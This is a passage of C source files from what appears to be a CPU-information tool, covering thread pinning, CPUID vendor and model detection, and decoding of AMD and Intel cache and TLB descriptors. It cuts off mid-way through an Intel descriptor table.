If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #include 7 | 8 | #include 9 | 10 | #include 11 | #include 12 | #include 13 | 14 | int pin_cpu(size_t i) 15 | { 16 | cpuset_t cpu_set; 17 | pthread_t thread; 18 | 19 | thread = pthread_self(); 20 | 21 | CPU_ZERO(&cpu_set); 22 | CPU_SET(i, &cpu_set); 23 | 24 | return pthread_setaffinity_np(thread, sizeof cpu_set, &cpu_set); 25 | } 26 | -------------------------------------------------------------------------------- /source/cpuid/amd/cache.c: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #include 7 | #include 8 | #include 9 | 10 | #include 11 | #include 12 | 13 | #include "macros.h" 14 | 15 | static size_t ext_nways[] = { 16 | [0x0] = 0, 17 | [0x1] = 1, 18 | [0x2] = 2, 19 | [0x3] = 3, 20 | [0x4] = 4, 21 | [0x5] = 6, 22 | [0x6] = 8, 23 | [0x8] = 16, 24 | [0xA] = 32, 25 | [0xB] = 48, 26 | [0xC] = 64, 27 | [0xD] = 96, 28 | [0xE] = 128, 29 | [0xF] = CACHE_FULLY_ASSOC, 30 | }; 31 | 32 | size_t get_tlb_info_v1(union cache_desc *cache_desc, size_t size, uint32_t reg, 33 | size_t level, size_t page_size) 34 | { 35 | size_t n = 0; 36 | 37 | if (EXTRACT(reg, 8, 8)) { 38 | if (cache_desc && n < size) { 39 | cache_desc->tlb.flags = CACHE_DESC_TLB | 40 | CACHE_DESC_CODE | CACHE_DESC_LEVEL(level); 41 | cache_desc->tlb.nways = EXTRACT(reg, 8, 8); 42 | cache_desc->tlb.nentries = EXTRACT(reg, 0, 8); 43 | cache_desc->tlb.page_size = page_size; 44 | ++cache_desc; 45 | } 46 | 47 | ++n; 48 | } 49 | 50 | if (EXTRACT(reg, 24, 8)) { 51 | if (cache_desc && n < size) { 52 | cache_desc->tlb.flags = CACHE_DESC_TLB | 53 | CACHE_DESC_DATA | CACHE_DESC_LEVEL(level); 54 | cache_desc->tlb.nways = EXTRACT(reg, 24, 8); 55 | cache_desc->tlb.nentries = EXTRACT(reg, 16, 8); 56 | cache_desc->tlb.page_size = page_size; 57 | ++cache_desc; 58 | } 59 | 60 | ++n; 61 | } 62 | 63 | return n; 64 | } 65 | 66 | size_t get_tlb_info_v2(union cache_desc *cache_desc, size_t size, uint32_t reg, 67 | size_t level, size_t page_size) 68 | { 69 | size_t n = 0; 70 | 71 | /* Extract a unified TLB. */ 72 | if (!EXTRACT(reg, 16, 16) && EXTRACT(reg, 12, 4)) { 73 | if (cache_desc && n < size) { 74 | cache_desc->tlb.flags = CACHE_DESC_TLB | 75 | CACHE_DESC_SHARED | CACHE_DESC_LEVEL(level); 76 | cache_desc->tlb.nways = ext_nways[EXTRACT(reg, 12, 4)]; 77 | cache_desc->tlb.nentries = EXTRACT(reg, 0, 12); 78 | cache_desc->tlb.page_size = page_size; 79 | ++cache_desc; 80 | } 81 | 82 | ++n; 83 | 84 | return n; 85 | } 86 | 87 | /* Extract a separate code TLB. */ 88 | if (EXTRACT(reg, 12, 4)) { 89 | if (cache_desc && n < size) { 90 | cache_desc->tlb.flags = CACHE_DESC_TLB | 91 | CACHE_DESC_CODE | CACHE_DESC_LEVEL(level); 92 | cache_desc->tlb.nways = ext_nways[EXTRACT(reg, 12, 4)]; 93 | cache_desc->tlb.nentries = EXTRACT(reg, 0, 12); 94 | cache_desc->tlb.page_size = page_size; 95 | ++cache_desc; 96 | } 97 | 98 | ++n; 99 | } 100 | 101 | /* Extract a separate data TLB. */ 102 | if (EXTRACT(reg, 28, 4)) { 103 | if (cache_desc && n < size) { 104 | cache_desc->tlb.flags = CACHE_DESC_TLB | 105 | CACHE_DESC_DATA | CACHE_DESC_LEVEL(level); 106 | cache_desc->tlb.nways = ext_nways[EXTRACT(reg, 28, 4)]; 107 | cache_desc->tlb.nentries = EXTRACT(reg, 16, 12); 108 | cache_desc->tlb.page_size = page_size; 109 | ++cache_desc; 110 | } 111 | 112 | ++n; 113 | } 114 | 115 | return n; 116 | } 117 | 118 | size_t get_cache_info_v1(union cache_desc *cache_desc, size_t size, 119 | uint32_t reg, size_t level, unsigned flags) 120 | { 121 | size_t n = 0; 122 | 123 | if (EXTRACT(reg, 16, 8)) { 124 | if (cache_desc && n < size) { 125 | cache_desc->cache.flags = CACHE_DESC_CACHE | flags | 126 | CACHE_DESC_LEVEL(level); 127 | cache_desc->cache.nways = EXTRACT(reg, 16, 8); 128 | cache_desc->cache.size = EXTRACT(reg, 24, 8) * KIB; 129 | cache_desc->cache.line_size = EXTRACT(reg, 0, 8); 130 | ++cache_desc; 131 | } 132 | 133 | ++n; 134 | } 135 | 136 | return n; 137 | } 138 | 139 | size_t get_cache_info_v2(union cache_desc *cache_desc, size_t size, 140 | uint32_t reg, size_t level, unsigned flags) 141 | { 142 | size_t n = 0; 143 | 144 | if (EXTRACT(reg, 12, 4)) { 145 | if (cache_desc && n < size) { 146 | cache_desc->cache.flags = CACHE_DESC_CACHE | flags | 147 | CACHE_DESC_LEVEL(level); 148 | cache_desc->cache.nways = ext_nways[EXTRACT(reg, 12, 4)]; 149 | cache_desc->cache.size = EXTRACT(reg, 16, 16) * KIB; 150 | cache_desc->cache.line_size = EXTRACT(reg, 0, 8); 151 | ++cache_desc; 152 | } 153 | 154 | ++n; 155 | } 156 | 157 | return n; 158 | } 159 | 160 | size_t get_cache_info_v3(union cache_desc *cache_desc, size_t size, 161 | uint32_t reg, size_t level, unsigned flags) 162 | { 163 | size_t n = 0; 164 | 165 | if (EXTRACT(reg, 12, 4)) { 166 | if (cache_desc && n < size) { 167 | cache_desc->cache.flags = CACHE_DESC_CACHE | flags | 168 | CACHE_DESC_LEVEL(level); 169 | cache_desc->cache.nways = ext_nways[EXTRACT(reg, 12, 4)]; 170 | cache_desc->cache.size = EXTRACT(reg, 18, 14) * 512 * KIB; 171 | cache_desc->cache.line_size = EXTRACT(reg, 0, 8); 172 | ++cache_desc; 173 | } 174 | 175 | ++n; 176 | } 177 | 178 | return n; 179 | } 180 | 181 | size_t amd_get_cache_descs_v1(union cache_desc *cache_desc, size_t size) 182 | { 183 | uint32_t regs[4]; 184 | size_t n = 0; 185 | 186 | if (cpuid_get_max_ext_leaf() < 0x80000005) 187 | return 0; 188 | 189 | asm volatile( 190 | "cpuid\n" : 191 | "=a" (regs[0]), "=b" (regs[1]), "=c" (regs[2]), 192 | "=d" (regs[3]) : 193 | "a" (0x80000005)); 194 | 195 | n += get_tlb_info_v1(cache_desc + n, size - min(size, n), regs[0], 1, 196 | TLB_2M_PAGE | TLB_4M_PAGE); 197 | n += get_tlb_info_v1(cache_desc + n, size - min(size, n), regs[1], 1, 198 | TLB_4K_PAGE); 199 | n += get_cache_info_v1(cache_desc + n, size - min(size, n), regs[2], 1, 200 | CACHE_DESC_DATA); 201 | n += get_cache_info_v1(cache_desc + n, size - min(size, n), regs[3], 1, 202 | CACHE_DESC_CODE); 203 | 204 | return n; 205 | } 206 | 207 | size_t amd_get_cache_descs_v2(union cache_desc *cache_desc, size_t size) 208 | { 209 | uint32_t regs[4]; 210 | size_t n = 0; 211 | 212 | if (cpuid_get_max_ext_leaf() < 0x80000006) 213 | return 0; 214 | 215 | asm volatile( 216 | "cpuid\n" : 217 | "=a" (regs[0]), "=b" (regs[1]), "=c" (regs[2]), 218 | "=d" (regs[3]) : 219 | "a" (0x80000006)); 220 | 221 | n += get_tlb_info_v2(cache_desc + n, size - min(size, n), regs[0], 2, 222 | TLB_2M_PAGE | TLB_4M_PAGE); 223 | n += get_tlb_info_v2(cache_desc + n, size - min(size, n), regs[1], 2, 224 | TLB_4K_PAGE); 225 | n += get_cache_info_v2(cache_desc + n, size - min(size, n), regs[2], 2, 226 | CACHE_DESC_SHARED); 227 | n += get_cache_info_v3(cache_desc + n, size - min(size, n), regs[3], 3, 228 | CACHE_DESC_SHARED); 229 | 230 | return n; 231 | } 232 | 233 | size_t amd_get_cache_descs_v3(union cache_desc *cache_desc, size_t size) 234 | { 235 | uint32_t regs[4]; 236 | size_t n = 0; 237 | 238 | if (cpuid_get_max_ext_leaf() < 0x80000019) 239 | return 0; 240 | 241 | asm volatile( 242 | "cpuid\n" : 243 | "=a" (regs[0]), "=b" (regs[1]) : 244 | "a" (0x80000019) : 245 | "%ecx", "%edx"); 246 | 247 | n += get_tlb_info_v2(cache_desc + n, size - min(size, n), regs[0], 2, 248 | TLB_1G_PAGE); 249 | n += get_tlb_info_v2(cache_desc + n, size - min(size, n), regs[1], 2, 250 | TLB_1G_PAGE); 251 | 252 | return n; 253 | } 254 | 255 | size_t amd_get_cache_descs(union cache_desc *cache_desc, size_t size) 256 | { 257 | size_t n = 0; 258 | 259 | n += amd_get_cache_descs_v1(cache_desc + n, size - min(size, n)); 260 | n += amd_get_cache_descs_v2(cache_desc + n, size - min(size, n)); 261 | n += amd_get_cache_descs_v3(cache_desc + n, size - min(size, n)); 262 | 263 | return n; 264 | } 265 | -------------------------------------------------------------------------------- /source/cpuid/amd/cache.h: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #pragma once 7 | 8 | size_t amd_get_cache_descs(union cache_desc *cache_desc, size_t size); 9 | -------------------------------------------------------------------------------- /source/cpuid/amd/cpuid.c: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #include 7 | 8 | #include 9 | 10 | #define AMD_FAMILY_K8 0x0f 11 | #define AMD_FAMILY_K10 0x10 12 | #define AMD_FAMILY_K8L 0x11 13 | #define AMD_FAMILY_FUSION 0x12 14 | #define AMD_FAMILY_BOBCAT 0x14 15 | #define AMD_FAMILY_JAGUAR 0x16 16 | #define AMD_FAMILY_BULLDOZER 0x15 17 | 18 | const char *amd_get_cpu_model(void) 19 | { 20 | unsigned family, model; 21 | uint32_t reg; 22 | 23 | asm volatile( 24 | "cpuid" : 25 | "=a" (reg) : 26 | "a" (0x00000001) : 27 | "%ebx", "%ecx", "%edx"); 28 | 29 | family = EXTRACT(reg, 8, 4) + EXTRACT(reg, 20, 8); 30 | model = (EXTRACT(reg, 16, 4) << 4) | EXTRACT(reg, 4, 4); 31 | 32 | switch (family) { 33 | case AMD_FAMILY_K8: return "Hammer"; 34 | case AMD_FAMILY_K10: return "K10"; 35 | case AMD_FAMILY_K8L: return "K8L"; 36 | case AMD_FAMILY_FUSION: return "Fusion"; 37 | case AMD_FAMILY_BOBCAT: return "Bobcat"; 38 | case AMD_FAMILY_JAGUAR: { 39 | switch (model) { 40 | case 0x00 ... 0x0f: return "Jaguar"; 41 | case 0x30 ... 0x3f: return "Puma"; 42 | default: return NULL; 43 | } 44 | } 45 | case AMD_FAMILY_BULLDOZER: { 46 | switch (model) { 47 | case 0x00 ... 0x01: return "Bulldozer"; 48 | case 0x02: return "Piledriver"; 49 | case 0x10 ... 0x1f: return "Piledriver"; 50 | case 0x30 ... 0x3f: return "Steamroller"; 51 | case 0x60 ... 0x6f: return "Excavator"; 52 | default: return NULL; 53 | } 54 | } 55 | default: return NULL; 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /source/cpuid/amd/cpuid.h: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #pragma once 7 | 8 | const char *amd_get_cpu_model(void); 9 | -------------------------------------------------------------------------------- /source/cpuid/cache.c: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #include 12 | #include 13 | 14 | #include "args.h" 15 | #include "macros.h" 16 | 17 | #include "amd/cache.h" 18 | #include "intel/cache.h" 19 | 20 | static void print_associativity(size_t nways) 21 | { 22 | switch (nways) { 23 | case CACHE_DIRECT_MAPPED: printf("direct mapped"); break; 24 | case CACHE_FULLY_ASSOC: printf("fully associative"); break; 25 | case 0: break; 26 | default: printf("%zu-way set associative", nways); break; 27 | } 28 | } 29 | 30 | size_t copy_cache_desc(union cache_desc *cache_descs, size_t size, 31 | union cache_desc *cache_desc) 32 | { 33 | if (cache_descs && size) { 34 | memcpy(cache_descs, cache_desc, sizeof *cache_desc); 35 | } 36 | 37 | return 1; 38 | } 39 | 40 | size_t set_tlb_desc(union cache_desc *cache_descs, size_t size, 41 | unsigned flags, size_t nways, size_t nentries, size_t page_size) 42 | { 43 | if (cache_descs && size) { 44 | cache_descs->tlb.flags = flags; 45 | cache_descs->tlb.nways = nways; 46 | cache_descs->tlb.nentries = nentries; 47 | cache_descs->tlb.page_size = page_size; 48 | } 49 | 50 | return 1; 51 | } 52 | 53 | void print_cache_desc(union cache_desc *cache_desc) 54 | { 55 | switch (get_cache_desc_type(cache_desc)) { 56 | case CACHE_DESC_TLB: 57 | print_associativity(cache_desc->tlb.nways); 58 | 59 | if (cache_desc->tlb.nways) 60 | putchar(' '); 61 | 62 | printf("L%zu ", get_cache_desc_level(cache_desc)); 63 | 64 | switch (cache_desc->flags & CACHE_DESC_SHARED) { 65 | case CACHE_DESC_CODE: printf("i-"); break; 66 | case CACHE_DESC_DATA: printf("d-"); break; 67 | default: break; 68 | } 69 | 70 | printf("TLB (%zu entries,", cache_desc->tlb.nentries); 71 | 72 | if (cache_desc->tlb.page_size & TLB_4K_PAGE) 73 | printf(" 4K page"); 74 | 75 | if (cache_desc->tlb.page_size & TLB_2M_PAGE) 76 | printf(" 2M page"); 77 | 78 | if (cache_desc->tlb.page_size & TLB_4M_PAGE) 79 | printf(" 4M page"); 80 | 81 | if (cache_desc->tlb.page_size & TLB_1G_PAGE) 82 | printf(" 1G page"); 83 | 84 | printf(")\n"); 85 | break; 86 | case CACHE_DESC_CACHE: 87 | print_associativity(cache_desc->cache.nways); 88 | 89 | if (cache_desc->cache.nways) 90 | putchar(' '); 91 | 92 | printf("L%zu ", get_cache_desc_level(cache_desc)); 93 | 94 | switch (cache_desc->flags & CACHE_DESC_SHARED) { 95 | case CACHE_DESC_CODE: printf("i-"); break; 96 | case CACHE_DESC_DATA: printf("d-"); break; 97 | default: break; 98 | } 99 | 100 | printf("cache ("); 101 | 102 | print_size(stdout, cache_desc->cache.size); 103 | 104 | printf(", %zuB line size", cache_desc->cache.line_size); 105 | 106 | if (cache_desc->flags & CACHE_DESC_INCLUSIVE) 107 | printf(". inclusive"); 108 | 109 | printf(")\n"); 110 | break; 111 | case CACHE_DESC_PREFETCH: 112 | printf("%zuB prefetch\n", cache_desc->prefetch.size); 113 | break; 114 | default: break; 115 | } 116 | } 117 | 118 | size_t get_cache_descs(union cache_desc *cache_desc, size_t size) 119 | { 120 | size_t n = 0; 121 | 122 | switch (cpuid_get_vendor_id()) { 123 | case CPUID_VENDOR_AMD: 124 | return amd_get_cache_descs(cache_desc + n, size - min(size, n)); 125 | case CPUID_VENDOR_INTEL: 126 | return intel_get_cache_descs(cache_desc + n, size - min(size, n)); 127 | default: 128 | return 0; 129 | } 130 | } 131 | -------------------------------------------------------------------------------- /source/cpuid/cpuid.c: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #include 7 | #include 8 | #include 9 | 10 | #include 11 | 12 | #include "amd/cpuid.h" 13 | #include "intel/cpuid.h" 14 | 15 | struct vendor { 16 | const char *key; 17 | enum cpuid_vendor_id value; 18 | } vendors[] = { 19 | { "AuthenticAMD", CPUID_VENDOR_AMD }, 20 | { "GenuineIntel", CPUID_VENDOR_INTEL }, 21 | }; 22 | 23 | unsigned cpuid_get_max_leaf(void) 24 | { 25 | static unsigned max_leaf; 26 | 27 | if (max_leaf) 28 | return max_leaf; 29 | 30 | asm volatile( 31 | "cpuid" : 32 | "=a" (max_leaf) : 33 | "a" (0) : 34 | "%ebx", "%ecx", "%edx"); 35 | 36 | return max_leaf; 37 | } 38 | 39 | unsigned cpuid_get_max_ext_leaf(void) 40 | { 41 | static unsigned max_leaf; 42 | 43 | if (max_leaf) 44 | return max_leaf; 45 | 46 | asm volatile( 47 | "cpuid" : 48 | "=a" (max_leaf) : 49 | "a" (0x80000000) : 50 | "%ebx", "%ecx", "%edx"); 51 | 52 | return max_leaf; 53 | } 54 | 55 | enum cpuid_vendor_id cpuid_get_vendor_id(void) 56 | { 57 | static enum cpuid_vendor_id vendor_id = CPUID_VENDOR_NONE; 58 | const char *vendor; 59 | size_t i; 60 | 61 | if (vendor_id != CPUID_VENDOR_NONE) 62 | return vendor_id; 63 | 64 | vendor = cpuid_get_vendor(); 65 | 66 | for (i = 0; i < sizeof(vendors) / sizeof(*vendors); ++i) { 67 | if (strcmp(vendor, vendors[i].key) == 0) { 68 | vendor_id = vendors[i].value; 69 | 70 | return vendor_id; 71 | } 72 | } 73 | 74 | return vendor_id; 75 | } 76 | 77 | const char *cpuid_get_vendor(void) 78 | { 79 | uint32_t regs[3]; 80 | static char buffer[13]; 81 | static char *vendor; 82 | 83 | if (vendor) 84 | return vendor; 85 | 86 | asm volatile( 87 | "cpuid" : 88 | "=b" (regs[0]), "=c" (regs[2]), "=d" (regs[1]) : 89 | "a" (0)); 90 | 91 | vendor = buffer; 92 | memcpy(vendor, regs, 12); 93 | 94 | return vendor; 95 | } 96 | 97 | const char *cpuid_get_cpu_name(void) 98 | { 99 | static char buf[3 * 4 * sizeof(uint32_t) + 1]; 100 | char *name = NULL, *p; 101 | uint32_t func; 102 | 103 | if (name) 104 | return name; 105 | 106 | if (cpuid_get_max_ext_leaf() < 0x80000004) 107 | return 0; 108 | 109 | for (p = buf, func = 0x80000002; func <= 0x80000004; p += 16, ++func) { 110 | asm volatile("cpuid\n" : 111 | "=a" (*(uint32_t *)p), 112 | "=b" (*(uint32_t *)(p + 4)), 113 | "=c" (*(uint32_t *)(p + 8)), 114 | "=d" (*(uint32_t *)(p + 12)) : 115 | "a" (func)); 116 | } 117 | 118 | name = buf + strspn(buf, " "); 119 | 120 | return name; 121 | } 122 | 123 | const char *cpuid_get_cpu_model(void) 124 | { 125 | switch (cpuid_get_vendor_id()) { 126 | case CPUID_VENDOR_AMD: return amd_get_cpu_model(); 127 | case CPUID_VENDOR_INTEL: return intel_get_cpu_model(); 128 | default: return NULL; 129 | } 130 | } 131 | -------------------------------------------------------------------------------- /source/cpuid/intel/cache.c: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #include 7 | #include 8 | #include 9 | 10 | #include 11 | #include 12 | 13 | #include "macros.h" 14 | 15 | /* This hardcoded look-up table is used to map all known cache descriptors to 16 | * actual cache descriptions. 17 | */ 18 | union cache_desc leaf2_cache_descs[] = { 19 | [0x00] = { .flags = CACHE_DESC_NONE }, 20 | [0x01] = { .tlb = { CACHE_DESC_ITLB_L1, 4, 32, TLB_4K_PAGE }}, 21 | [0x02] = { .tlb = { CACHE_DESC_ITLB_L1, CACHE_FULLY_ASSOC, 2, 22 | TLB_4M_PAGE }}, 23 | [0x03] = { .tlb = { CACHE_DESC_DTLB_L1, 4, 64, TLB_4K_PAGE }}, 24 | [0x04] = { .tlb = { CACHE_DESC_DTLB_L1, 4, 8, TLB_4M_PAGE }}, 25 | [0x05] = { .tlb = { CACHE_DESC_DTLB_L2, 4, 32, TLB_4M_PAGE }}, 26 | [0x06] = { .cache = { CACHE_DESC_ICACHE_L1, 4, 8 * KIB, 32, 1 }}, 27 | [0x08] = { .cache = { CACHE_DESC_ICACHE_L1, 4, 16 * KIB, 32, 1 }}, 28 | [0x09] = { .cache = { CACHE_DESC_ICACHE_L1, 4, 32 * KIB, 64, 1 }}, 29 | [0x0A] = { .cache = { CACHE_DESC_DCACHE_L1, 2, 8 * KIB, 32, 1 }}, 30 | [0x0B] = { .tlb = { CACHE_DESC_ITLB_L1, 4, 4, TLB_4M_PAGE }}, 31 | [0x0C] = { .cache = { CACHE_DESC_DCACHE_L1, 4, 16 * KIB, 32, 1 }}, 32 | [0x0D] = { .cache = { CACHE_DESC_DCACHE_L1, 4, 16 * KIB, 64, 1 }}, 33 | [0x0E] = { .cache = { CACHE_DESC_DCACHE_L1, 6, 24 * KIB, 64, 1 }}, 34 | [0x1D] = { .cache = { CACHE_DESC_CACHE_L2, 2, 128 * KIB, 64, 1 }}, 35 | [0x21] = { .cache = { CACHE_DESC_CACHE_L2, 8, 256 * KIB, 64, 1 }}, 36 | [0x22] = { .cache = { CACHE_DESC_CACHE_L3, 4, 512 * KIB, 64, 2 }}, 37 | [0x23] = { .cache = { CACHE_DESC_CACHE_L3, 8, 1 * MIB, 64, 2 }}, 38 | [0x24] = { .cache = { CACHE_DESC_CACHE_L2, 16, 1 * MIB, 64, 1 }}, 39 | [0x25] = { .cache = { CACHE_DESC_CACHE_L3, 8, 2 * MIB, 64, 2 }}, 40 | [0x29] = { .cache = { CACHE_DESC_CACHE_L3, 8, 4 * MIB, 64, 2 }}, 41 | [0x2C] = { .cache = { CACHE_DESC_DCACHE_L1, 8, 32 * KIB, 64, 1}}, 42 | [0x30] = { .cache = { CACHE_DESC_ICACHE_L1, 8, 32 * KIB, 64, 1}}, 43 | [0x40] = { .flags = CACHE_DESC_NONE }, 44 | [0x41] = { .cache = { CACHE_DESC_CACHE_L2, 4, 128 * KIB, 32, 1 }}, 45 | [0x42] = { .cache = { CACHE_DESC_CACHE_L2, 4, 256 * KIB, 32, 1 }}, 46 | [0x43] = { .cache = { CACHE_DESC_CACHE_L2, 4, 512 * KIB, 32, 1 }}, 47 | [0x44] = { .cache = { CACHE_DESC_CACHE_L2, 4, 1 * MIB, 32, 1 }}, 48 | [0x45] = { .cache = { CACHE_DESC_CACHE_L2, 4, 2 * MIB, 32, 1 }}, 49 | [0x46] = { .cache = { CACHE_DESC_CACHE_L3, 4, 4 * MIB, 64, 1 }}, 50 | [0x47] = { .cache = { CACHE_DESC_CACHE_L3, 8, 8 * MIB, 64, 1 }}, 51 | [0x48] = { .cache = { CACHE_DESC_CACHE_L2, 12, 3 * MIB, 64, 1 }}, 52 | /* TODO: L3 cache 4 MiB 16-way 64-byte if Intel Xeon processor family 53 | * 0x0F, model 0x06. */ 54 | [0x49] = { .cache = { CACHE_DESC_CACHE_L2, 16, 4 * MIB, 64, 1 }}, 55 | [0x4A] = { .cache = { CACHE_DESC_CACHE_L3, 12, 6 * MIB, 64, 1 }}, 56 | [0x4B] = { .cache = { CACHE_DESC_CACHE_L3, 16, 8 * MIB, 64, 1 }}, 57 | [0x4C] = { .cache = { CACHE_DESC_CACHE_L3, 12, 12 * MIB, 64, 1 }}, 58 | [0x4D] = { .cache = { CACHE_DESC_CACHE_L3, 16, 16 * MIB, 64, 1 }}, 59 | [0x4E] = { .cache = { CACHE_DESC_CACHE_L2, 24, 6 * MIB, 64, 1 }}, 60 | [0x4F] = { .tlb = { CACHE_DESC_ITLB_L1, 0, 32, TLB_4K_PAGE }}, 61 | [0x50] = { .tlb = { CACHE_DESC_ITLB_L1, 0, 64, 62 | TLB_4K_PAGE | TLB_2M_PAGE | TLB_4M_PAGE }}, 63 | [0x51] = { .tlb = { CACHE_DESC_ITLB_L1, 0, 128, 64 | TLB_4K_PAGE | TLB_2M_PAGE | TLB_4M_PAGE }}, 65 | [0x52] = { .tlb = { CACHE_DESC_ITLB_L1, 0, 256, 66 | TLB_4K_PAGE | TLB_2M_PAGE | TLB_4M_PAGE }}, 67 | [0x55] = { .tlb = { CACHE_DESC_ITLB_L1, 68 | CACHE_FULLY_ASSOC, 7, TLB_2M_PAGE | TLB_4M_PAGE }}, 69 | [0x56] = { .tlb = { CACHE_DESC_DTLB_L1, 4, 16, TLB_4M_PAGE }}, 70 | [0x57] = { .tlb = { CACHE_DESC_DTLB_L1, 4, 16, TLB_4K_PAGE }}, 71 | [0x59] = { .tlb = { CACHE_DESC_DTLB_L1, CACHE_FULLY_ASSOC, 16, 72 | TLB_4K_PAGE }}, 73 | [0x5A] = { .tlb = { CACHE_DESC_DTLB_L1, 4, 32, 74 | TLB_2M_PAGE | TLB_4M_PAGE }}, 75 | [0x5B] = { .tlb = { CACHE_DESC_DTLB_L1, 0, 64, 76 | TLB_4K_PAGE | TLB_4M_PAGE }}, 77 | [0x5C] = { .tlb = { CACHE_DESC_DTLB_L1, 0, 128, 78 | TLB_4K_PAGE | TLB_4M_PAGE }}, 79 | [0x5D] = { .tlb = { CACHE_DESC_DTLB_L1, 0, 256, 80 | TLB_4K_PAGE | TLB_4M_PAGE }}, 81 | [0x60] = { .cache = { CACHE_DESC_DCACHE_L1, 8, 16 * KIB, 64, 1 }}, 82 | [0x61] = { .tlb = { CACHE_DESC_ITLB_L1, CACHE_FULLY_ASSOC, 48, 83 | TLB_4K_PAGE }}, 84 | [0x63] = { .tlb = { CACHE_DESC_DTLB_L1, 4, 32, 85 | TLB_2M_PAGE | TLB_4M_PAGE }}, 86 | [0x64] = { .tlb = { CACHE_DESC_DTLB_L1, 4, 512, TLB_4K_PAGE }}, 87 | [0x66] = { .cache = { CACHE_DESC_DCACHE_L1, 4, 8 * KIB, 64, 1 }}, 88 | [0x67] = { .cache = { CACHE_DESC_DCACHE_L1, 4, 16 * KIB, 64, 1 }}, 89 | [0x68] = { .cache = { CACHE_DESC_DCACHE_L1, 4, 32 * KIB, 64, 1 }}, 90 | [0x6A] = { .tlb = { CACHE_DESC_TLB_L1, 8, 64, TLB_4K_PAGE }}, 91 | [0x6B] = { .tlb = { CACHE_DESC_DTLB_L1, 8, 256, TLB_4K_PAGE }}, 92 | [0x6C] = { .tlb = { CACHE_DESC_DTLB_L1, 8, 128, 93 | TLB_2M_PAGE | TLB_4M_PAGE }}, 94 | [0x6D] = { .tlb = { CACHE_DESC_DTLB_L1, CACHE_FULLY_ASSOC, 16, 95 | TLB_1G_PAGE }}, 96 | [0x76] = { .tlb = { CACHE_DESC_ITLB_L1, 0, 8, 97 | TLB_2M_PAGE | TLB_4M_PAGE }}, 98 | [0x78] = { .cache = { CACHE_DESC_CACHE_L2, 4, 1 * MIB, 64, 1 }}, 99 | [0x79] = { .cache = { CACHE_DESC_CACHE_L2, 8, 128 * KIB, 64, 2 }}, 100 | [0x7A] = { .cache = { CACHE_DESC_CACHE_L2, 8, 256 * KIB, 64, 2 }}, 101 | [0x7B] = { .cache = { CACHE_DESC_CACHE_L2, 8, 512 * KIB, 64, 2 }}, 102 | [0x7C] = { .cache = { CACHE_DESC_CACHE_L2, 8, 1 * MIB, 64, 2 }}, 103 | [0x7D] = { .cache = { CACHE_DESC_CACHE_L2, 8, 2 * MIB, 64, 1 }}, 104 | [0x7F] = { .cache = { CACHE_DESC_CACHE_L2, 2, 512 * KIB, 64, 1 }}, 105 | [0x80] = { .cache = { CACHE_DESC_CACHE_L2, 8, 512 * KIB, 64, 1 }}, 106 | [0x82] = { .cache = { CACHE_DESC_CACHE_L2, 8, 256 * KIB, 32, 1 }}, 107 | [0x83] = { .cache = { CACHE_DESC_CACHE_L2, 8, 512 * KIB, 32, 1 }}, 108 | [0x84] = { .cache = { CACHE_DESC_CACHE_L2, 8, 1 * MIB, 32, 1 }}, 109 | [0x85] = { .cache = { CACHE_DESC_CACHE_L2, 8, 2 * MIB, 32, 1 }}, 110 | [0x86] = { .cache = { CACHE_DESC_CACHE_L2, 4, 512 * KIB, 64, 1 }}, 111 | [0x87] = { .cache = { CACHE_DESC_CACHE_L2, 8, 1 * MIB, 64, 1 }}, 112 | [0xA0] = { .tlb = { CACHE_DESC_DTLB_L1, 0, 32, TLB_4K_PAGE }}, 113 | [0xB0] = { .tlb = { CACHE_DESC_ITLB_L1, 4, 128, TLB_4K_PAGE }}, 114 | /* TODO: 0xB1: also 4M pages, 4-way, 4 entries */ 115 | [0xB1] = { .tlb = { CACHE_DESC_ITLB_L1, 4, 8, TLB_2M_PAGE }}, 116 | [0xB2] = { .tlb = { CACHE_DESC_ITLB_L1, 4, 64, TLB_4K_PAGE }}, 117 | [0xB3] = { .tlb = { CACHE_DESC_DTLB_L1, 4, 128, TLB_4K_PAGE }}, 118 | [0xB4] = { .tlb = { CACHE_DESC_DTLB_L2, 4, 256, TLB_4K_PAGE }}, 119 | [0xB5] = { .tlb = { CACHE_DESC_ITLB_L1, 8, 64, TLB_4K_PAGE }}, 120 | [0xB6] = { .tlb = { CACHE_DESC_ITLB_L1, 8, 128, TLB_4K_PAGE }}, 121 | [0xBA] = { .tlb = { CACHE_DESC_DTLB_L2, 4, 64, TLB_4K_PAGE }}, 122 | [0xC0] = { .tlb = { CACHE_DESC_DTLB_L1, 4, 8, 123 | TLB_4K_PAGE | TLB_4M_PAGE }}, 124 | [0xC1] = { .tlb = { CACHE_DESC_TLB_L2, 8, 1024, 125 | TLB_4K_PAGE | TLB_2M_PAGE }}, 126 | [0xC2] = { .tlb = { 